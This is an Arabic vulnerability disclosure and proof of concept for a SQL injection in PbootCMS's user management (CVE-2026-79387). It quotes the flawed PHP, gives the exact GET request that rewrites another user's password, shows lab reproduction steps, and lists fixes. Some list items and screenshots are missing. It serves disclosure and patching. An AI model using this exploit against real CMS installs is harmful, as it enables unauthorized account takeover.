
إثبات المفهوم لـ CVE-2026-79387، حقن SQL مُصادق عليه في إدارة مستخدمي PbootCMS يسمح بتحديثات حقول عشوائية والاستيلاء على الحسابات.
| الحقل | التفاصيل |
|---|---|
| معرّف CVE | CVE-2026-79387 |
| المنتج | PbootCMS |
| الإصدارات المتأثرة | 3.2.0 – 3.2.5، وربما الإصدارات الأقدم |
| نوع الثغرة | حقن SQL (CWE-89) |
| ناقل الهجوم | عن بُعد (بعد المصادقة) |
| خطورة CVSS | عالية |
| المكتشف | JiahaoLi |
| المورّد | https://www.pbootcms.com/ |
توجد ثغرة حقن SQL في وحدة إدارة المستخدمين في PbootCMS V3.2.5. تكمن الثغرة في الدالة mod() في الملف /apps/admin/controller/system/UserController.php (السطر 149) وفي الدالة modUser() في الملف /apps/admin/model/system/UserModel.php.
المعامل field يتحكم فيه المستخدم بالكامل عبر طلب GET دون أي تحقق من قائمة بيضاء. والمعامل value أيضًا يتحكم فيه المستخدم بالكامل ويُدمج مباشرةً في عبارة UPDATE الخاصة بـ SQL. يمكن لمهاجم مُصادَق عليه تحديد أي عمود في قاعدة البيانات كقيمة لـ field (مثل password أو username أو status أو role)، مما يتيح التلاعب التعسفي بالبيانات.
// UserController.php - mod() method
if (($field = get('field', 'var')) && ! is_null($value = get('value', 'var'))) {
if ($this->model->modUser($ucode, "$field='$value',update_user='" . session('username') . "'")) {
location(- 1);
}
}
يتم أخذ $field و $value مباشرةً من المتغير الفائق $_GET ويتم دمجهما في سلسلة SQL دون أي تعقيم، ودون قائمة بيضاء، ودون استعلام مُعامَل. ثم تُمرَّر هذه السلسلة إلى UserModel::modUser()، التي تمررها بدورها إلى طريقة Model::update() الأساسية. وبما أن الوسيط عبارة عن سلسلة (وليس مصفوفة)، فإنه يتجاوز التحقق من اسم الحقل checkKey() ويُدمَج حرفيًا في جملة SET:
UPDATE ay_user SET <user-controlled>= '<user-controlled>', update_user='admin' WHERE ucode='<ucode>'
GET /admin.php?p=/User/mod&ucode=10002&field=password&value=<MD5>
→ UserController::mod()
→ UserModel::modUser($ucode, "password='<value>',update_user='admin'")
→ Model::table('ay_user')->where("ucode='$ucode'")->update($data_string)
→ SQL: UPDATE ay_user SET password='<value>',update_user='admin' WHERE ucode='10002'
يمكن للمهاجم المُصادَق عليه أن:
ucode=10001).value الهروب بعلامة اقتباس مفردة، مما قد يمكّن من هجمات متكدسة أو قائمة على التكرار المنطقي (tautology).يؤدي هذا إلى الاستيلاء على الحساب والسيطرة الكاملة على الواجهة الخلفية لنظام إدارة المحتوى (CMS).
192.168.1.104، Apache/PHP 7.2.1/SQLite)ادخل إلى لوحة تحكم PbootCMS وسجّل الدخول باستخدام حساب admin الافتراضي.

انتقل إلى System Management → User Management → Add User. أنشئ مستخدمًا جديدًا:
admin2admin
تؤكد قائمة المستخدمين وجود admin2 مع ucode=10002:

افتح نافذة متصفح جديدة. حاول تسجيل الدخول باسم admin2 بكلمة المرور 123456 — سيفشل هذا لأن كلمة المرور الفعلية هي admin:

باستخدام متصفح المسؤول المسجّل دخوله بالفعل، انتقل إلى:
http://192.168.1.104/PbootCMS/admin.php?p=/User/mod&ucode=10002&field=password&value=14e1b600b1fd579f47433b88e8d85291
14e1b600b1fd579f47433b88e8d85291هو تجزئة MD5 لـ123456.
تنفّذ الدالة mod() عملية الحقن وتعيد التوجيه عبر location(-1):

الآن حاول تسجيل الدخول باستخدام admin2 / 123456:

تم تغيير كلمة المرور بنجاح عبر حقن SQL. المستخدم الآن مسجّل الدخول بكلمة المرور الجديدة، مما يؤكد الاستيلاء الكامل على الحساب.

عندما تتلقى update() وسيطًا نصيًا، يُستخدم كما هو في جملة SET دون أي تهريب:
final public function update($data = null)
{
if (is_array($data)) {
// Array path: checkKey() validates field names
...
} else {
// String path: NO VALIDATION AT ALL
$update_string = $data;
}
$this->sql['value'] = $update_string;
$sql = $this->buildSql($this->updateSql);
return $this->getDb()->amd($sql); // Direct execution, no prepared statement
}
field — لا يُسمح إلا بأسماء الأعمدة المعروفة (status، username، realname، password).$value لمنع كسر علامات الاقتباس.field هو password، فطبّق encrypt_string() على القيمة قبل التخزين.mod() رمز CSRF صالحًا وفحصًا للتفويض على مستوى الدور.إفصاح: تم الإفصاح عن هذه الثغرة بمسؤولية إلى المورّد. إذا كنت تشغّل إصدارًا متأثرًا، فحدّثه فورًا وراجع جميع حسابات لوحة التحكم.